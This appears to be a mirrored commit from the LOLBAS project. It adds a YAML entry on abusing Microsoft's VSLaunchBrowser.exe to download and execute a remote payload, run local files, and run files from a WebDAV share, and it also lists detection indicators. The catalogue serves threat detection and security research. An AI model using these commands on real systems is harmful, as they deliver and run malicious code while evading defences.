public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-12-28 15:58:24 +01:00
Code Issues Projects Releases Wiki Activity

Add VSLaunchBrowser.yml (#367)

Browse Source
This commit is contained in:
Avihay Eldad 2024-10-02 00:37:11 +03:00 committed by GitHub
parent 50e17c089a
commit d8402e6651
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 39 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

39
yml/OtherMSBinaries/VsLaunchBrowser.yml Normal file
View File

@ -0,0 +1,39 @@
---
Name: VSLaunchBrowser.exe
Description: Microsoft Visual Studio browser launcher tool for web applications debugging
Author: Avihay Eldad
Created: 2024-04-12
Commands:
- Command: VSLaunchBrowser.exe .exe http://example.com/payload
Description: Download and execute payload from remote server
Usecase: It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows
Tags:
- Download: INetCache
- Command: VSLaunchBrowser.exe .exe C:\Windows\System32\calc.exe
Description: Execute payload via VSLaunchBrowser as parent process
Usecase: It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
Category: Execute
Privileges: User
MitreID: T1127
OperatingSystem: Windows
- Command: VSLaunchBrowser.exe .exe \\Server\Path\file
Description: Execute payload from WebDAV server via VSLaunchBrowser as parent process
Usecase: It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
Category: Execute
Privileges: User
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: C:\Program Files\Microsoft Visual Studio\{version}\Community\Common7\IDE\VSLaunchBrowser.exe
- Path: C:\Program Files (x86)\Microsoft Visual Studio\{version}\Community\Common7\IDE\VSLaunchBrowser.exe
Detection:
- IOC: cmd.exe as sub-process of VSLaunchBrowser
- IOC: URL on a VSLaunchBrowser command line
- IOC: VSLaunchBrowser making unexpected network connections or DNS requests
Acknowledgement:
- Person: Avihay Eldad
Handle: '@AvihayEldad'